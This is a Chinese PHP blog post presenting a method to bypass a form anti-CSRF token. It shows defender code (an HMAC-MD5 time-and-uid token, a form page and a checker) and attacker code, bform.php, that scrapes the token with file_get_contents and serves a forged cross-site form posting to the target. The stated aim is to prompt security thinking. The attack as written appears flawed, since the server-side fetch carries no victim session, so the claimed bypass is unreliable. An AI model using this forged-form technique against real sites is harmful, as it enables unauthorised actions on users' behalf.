绕过某防跨站表单提交的方法

2019-1-16 zhulinan php开发

出于安全性的考虑，网站对表单提交需要设计一些安全性方面的防范措施，如防止跨站提交表单等，本例演示的是如何绕过防范实现跨站提交的例子，目的是促进网站安全方面的思考。

防方的措施：利用用户信息（这里用的是uid）和服务器时间生成一个密钥，密钥随表单提交后进行核验。

防方样例代码参考：

acrumb.php文件，生成密钥、核验密钥，虚设位置：http://www.axxxx.com/acrumb.php
<?php class Crumb { CONST SALT = "http://blog.elight.cn"; static $ttl = 7200; #过期时间，2小时 /** 生成加密串，可以添加到表单中 * @param $uid 用户ID * @param int $action * @return bool|string */ static public function issueCrumb($uid, $ttl=7200, $action = -1) { if(intval($ttl)>7200) self::$ttl = $ttl; $i = ceil(time() / self::$ttl); return substr(self::challenge($i . $action . $uid), -12, 10); } /** 核验 * @param $uid * @param $crumb 加密时 Crumb::issueCrumb($uid)生成的字串。 * @param int $action * @return bool */ static public function verifyCrumb($uid, $crumb, $action = -1) { $i = ceil(time() / self::$ttl); if(substr(self::challenge($i . $action . $uid), -12, 10) == $crumb || substr(self::challenge(($i - 1) . $action . $uid), -12, 10) == $crumb) return true; return false; } //内用 static public function challenge($data) { return hash_hmac('md5', $data, self::SALT); } }

aform.php文件，表单页面，虚设位置：http://www.axxxx.com/aform.php
<?php session_start(); $uid = $_SESSION['uid']; include('acrumb.php'); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta charset="UTF-8"> <title>绕过防跨站表单提交测试</title> <style type="text/css"> *{ font-size:12px; } html, body, form{ margin:0; padding:0; } </style> </head> <body> <form action="http://www.axxxx.com/acheck.php" method="POST" target="_blank"> <input type="hidden" name="crumb" value="<?php echo Crumb::issueCrumb($uid)?>" /> <input type='submit' value='提交' /> </form> </body> </html>

acheck.php文件，表单处理，虚设位置：http://www.axxxx.com/acheck.php
<?php session_start(); include('acrumb.php'); if (!Crumb::verifyCrumb($_SESSION['uid'], $_POST['crumb'])) { echo "fail|" . $_SESSION['uid'] . "|" . $_POST['crumb']; } else { echo "sucess"; } ?>

攻方的方法：

利用php的file_get_contents函数抓取防方的表单页面数据，获取密钥数据，伪造表单，再提交给防方。

攻方样例代码参考：

bform.php文件，伪造表单页面，虚设位置：http://www.bxxxx.com/bform.php
<?php $url = "http://www.axxxx.com/aform.php"; $html = file_get_contents($url); $find = 'name="crumb" value="'; $pos = strpos($html, $find) + strlen($find); $substr = substr($html, $pos); $len = strpos($substr, '" />'); $key = substr($substr, 0, $len); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <meta charset="UTF-8"> <title>绕过防跨站表单提交测试</title> <style type="text/css"> *{ font-size:12px; } html, body, form{ margin:0; padding:0; } </style> </head> <body> <div>下面是伪造的表单</div> <form action="http://www.axxxx.com/acheck.php" method="POST" target="_blank"> <input type="hidden" name="crumb" value="<?php echo $key;?>"><br /> <input type='submit' value='提交' /> </form> </body> </html>

分享到： QQ空间新浪微博腾讯微博微信更多

« windows在当前窗口下打开cmd | 可预防数据库攻击的mysql_real_escape_string函数»

绕过某防跨站表单提交的方法

日历

存档

最新评论

链接

搜索